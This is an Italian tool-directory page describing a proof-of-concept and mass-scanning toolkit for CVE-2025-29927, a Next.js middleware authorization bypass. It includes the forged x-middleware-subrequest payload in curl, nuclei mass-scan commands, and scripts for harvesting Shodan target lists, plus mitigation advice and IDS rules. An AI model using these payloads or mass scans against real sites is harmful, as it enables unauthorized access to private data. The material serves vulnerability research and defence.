Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29927 — Toolkit di proof-of-concept e scansione di massa per CVE-2025-29927, un bypass dell'autorizzazione di middleware Next.js tramite intestazione x-middleware-subrequest contraffatta. Include template nuclei e scanner Python. | Kitploit
Strumenti/GitHubGitHub/sdrtba/cve-2025-29927
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàEvasione IDS/IPSSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Toolkit di proof-of-concept e scansione di massa per CVE-2025-29927, un bypass dell'autorizzazione di middleware Next.js tramite intestazione x-middleware-subrequest contraffatta. Include template nuclei e scanner Python.

Vedi Repository
11 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-29927 — Next.js (bypass autorizzazione middleware)

Breve: vulnerabilità nel middleware di Next.js che consente di bypassare i controlli di autorizzazione falsificando l'header x-middleware-subrequest.


Contenuto

  • CVE-2025-29927 — Next.js (middleware authorization bypass)
    • Contenuto
    • Raccolta di host vulnerabili
    • Ulteriori informazioni
    • Breve descrizione
    • Dettagli della vulnerabilità
    • CWE Weakness Enumeration
    • Impatto e rischi aggiuntivi
    • Versioni interessate
    • CVSS e metriche
    • PoC — riproduzione sicura in locale
    • Verifica di massa con nuclei, Python
      • Nuclei
      • Scanner Python (architettura)
    • Mitigazione / Rimedio
    • Rilevamento / Regole SIEM / IDS
    • Rilevamento e verifica di massa (Scanning & Detection)
    • Risorse e collegamenti

Raccolta di host vulnerabili

Ho effettuato una ricerca in Shodan con il filtro http.headers:"x-middleware-rewrite" e ho raccolto un elenco di 1000 domini.

root@kitploit:~
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}\.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+\.)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
root@kitploit:~
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();

Ulteriori informazioni

  1. Contesto e premesse Nelle versioni iniziali di Next.js il middleware poteva effettuare richieste interne (sub-) verso la stessa applicazione. Per prevenire la ricorsione, il framework introduceva header HTTP di servizio — marcatori interni che segnalavano «questa richiesta è già stata elaborata». Questo approccio era pratico e permetteva di evitare cicli infiniti all'interno della pipeline del middleware.

  2. Evoluzione del middleware e payload Prima di Next.js 12.2, il middleware era collocato come _middleware all'interno di pages/ e poteva essere annidato (pages/_middleware, pages/dashboard/_middleware ecc.). Il payload poteva specificare un percorso concreto (x-middleware-subrequest: pages/dashboard/_middleware). Dalla 12.2, il middleware è rinominato middleware.js/ts e non risiede più in pages/. In questo caso, un semplice payload x-middleware-subrequest: middleware (o src/middleware se si usa src/) funzionava spesso. Le versioni successive (≥ 13.2.0) hanno introdotto controlli aggiuntivi, incluso MAX_RECURSION_DEPTH; in alcuni bypass sono stati utilizzati valori ripetuti del tipo per simulare una catena annidata. In pratica: il formato esatto del payload dipende dalla versione di Next.js e dalla struttura del progetto.


Breve descrizione

  • CVE: CVE-2025-29927
  • Prodotto: Next.js (Vercel)
  • Breve: il middleware che implementa l'autorizzazione si fida erroneamente del flag interno x-middleware-subrequest. Un client esterno può impostare questo header e bypassare i controlli di accesso.
  • Data di pubblicazione NVD: 21 marzo 2025
  • CNA: GitHub, Inc.

Dettagli della vulnerabilità

  • Descrizione: l'errore consiste nel fatto che il middleware di Next.js si basa sull'indicatore interno x-middleware-subrequest per prendere decisioni sull'accesso. Il campo era inizialmente destinato a operazioni interne del framework, ma le richieste esterne possono impostare questo header, consentendo di bypassare l'autorizzazione.
  • Causa della vulnerabilità: logica di autorizzazione errata/non sicura — fiducia nell'header in arrivo.
  • Condizioni di sfruttamento: l'applicazione web utilizza solo il middleware per l'autorizzazione; l'applicazione utilizza versioni vulnerabili di Next.js.

CWE Weakness Enumeration

  • CWE-863: Incorrect Authorization — primaria
    • Evidenza: il middleware si fidava dell'header 'x-middleware-subrequest' e lasciava passare le richieste senza ulteriore validazione.
  • CWE-285: Improper Authorization — secondaria
    • Evidenza: assenza di autenticazione/autorizzazione affidabile per il flusso solo interno.

Impatto e rischi aggiuntivi

  • Impatto: il bypass dell'autorizzazione consente l'accesso a pagine/dati privati, possibilità di escalation (a seconda dell'applicazione), compromissione dei dati utente.
  • Rischio aggiuntivo: CPDoS (Cache-Poisoned DoS): la vulnerabilità potrebbe consentire di manipolare la cache di CDN/edge (ad esempio, se le subrequest interne contrassegnano le risorse come private/pubbliche), portando ad avvelenamento della cache e potenziale rifiuto del servizio o divulgazione di dati.
  • Esempi di conseguenze: fuga di PII, bypass della logica di business, sessioni compromesse, interferenza con il routing dell'applicazione.

Versioni interessate

I seguenti intervalli di versioni sono vulnerabili:

  • >= 11.1.4 e < 12.3.5
  • >= 13.0.0 e < 13.5.9
  • >= 14.0.0 e < 14.2.25
  • >= 15.0.0 e < 15.2.3

CVSS e metriche

  • Punteggio Base: 9.1 (CRITICO)
  • Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporale: E:P (PoC) * RL:O (fix ufficiale) * RC:C (confermato) = 8.2 (punteggio Temporale approssimativo).

PoC — riproduzione sicura in locale

  1. Avviare la demo vulnerabile:
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. PoC semplice (sola lettura) con curl:
root@kitploit:~
# Senza header — aspettarsi un rifiuto (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# Con header falsificato — se vulnerabile, restituirà 200 + corpo
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

Verifica di massa con nuclei, Python

Nuclei

  • Template passivo: verifica dell'impronta digitale (/_next/static/, package.json, header, hash favicon) — modalità sicura.
  • Template attivo: invia GET con x-middleware-subrequest e confronta la risposta. Obbligatorio usare rate-limit e throttle.

Comando di esecuzione (esempio):

root@kitploit:~
# passivo
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# attivo (controllato)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Scanner Python (architettura)

  • Algoritmo: per ogni host ottenere una risposta di base (senza header) → ripetere con header x-middleware-subrequest → confrontare stato e corpo.
  • Opzioni obbligatorie: --concurrency, --delay, --dry-run, --respect-robots.
  • Utilizzare aiohttp / asyncio per alte prestazioni.

Pseudocodice breve:

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

Mitigazione / Rimedio

  1. Primario: aggiornare Next.js alla versione corretta:
    • >= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.
  2. Quick-fix (edge/proxy): rimuovere/pulire l'header x-middleware-subrequest al perimetro:
  3. Modifiche all'app: rimuovere la dipendenza dell'autorizzazione dagli header in arrivo; basarsi su token JWT/sessione/validazione lato server.
  4. Rilevamento: aggiungere logging e una regola in SIEM/IDS: segnalare quando richieste esterne contengono x-middleware-subrequest e verificare la sorgente.

Rilevamento / Regole SIEM / IDS

Esempi di regole/alert:

  • SIEM: alert per richieste in arrivo con x-middleware-subrequest, se source.ip non è in trusted_proxies.

  • Suricata (pseudo):

root@kitploit:~
alert http any any -> any any (msg:"Richiesta esterna con X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

Rilevamento e verifica di massa (Scanning & Detection)

  • Passivo (nuclei / fingerprint): usare il template nuclei da projectdiscovery/nuclei-templates per CVE-2025-29927 (controllo tramite fingerprint: /_next/static/, package.json, header, hash favicon). Nessuno sfruttamento — sicuro.
  • Attivo (nuclei): template accurato che esegue GET con header x-middleware-subrequest e verifica la differenza nella risposta (corpo/stato). Throttle e rate-limit obbligatori.
  • Script Python/Go (multithread):
    • strategia: per ogni host → ottenere baseline senza header → ripetere con header → confrontare.
    • sicurezza: delay, cooldown per host, opzioni --dry-run e --respect-robots.
  • Regola SIEM/IDS (esempio):
root@kitploit:~
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies

Risorse e collegamenti

  • NVD / CVE-2025-29927 (voce NVD) — per versioni e CVSS;
  • GitHub Advisory / Vercel advisory — per le patch;
  • Repository PoC (sostituire con URL reali):
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — template CVE-2025-29927.
Scarica lo strumento
middleware:middleware:...
  • Storia delle correzioni e problema con x-middleware-subrequest-id La prima patch rapida includeva l'idea di un identificatore interno — x-middleware-subrequest-id — generato e verificato a runtime per distinguere le subrequest interne valide da quelle falsificate. Tuttavia, l'implementazione ha mostrato un effetto collaterale: questo ID interno poteva fuoriuscire (finendo nelle richieste fetch/outgoing), creando un nuovo rischio. Inoltre, la firma/sincronizzazione degli identificatori si è rivelata inaffidabile in presenza di molti CDN/PoP e runtime misti (Edge vs Node). Di conseguenza, il codice relativo a x-middleware-subrequest-id è stato rimosso/rielaborato; la soluzione finale è una combinazione di patch in Next.js e mitigazioni a livello di piattaforma (filtraggio degli header interni in ingresso a livello di ingress/edge).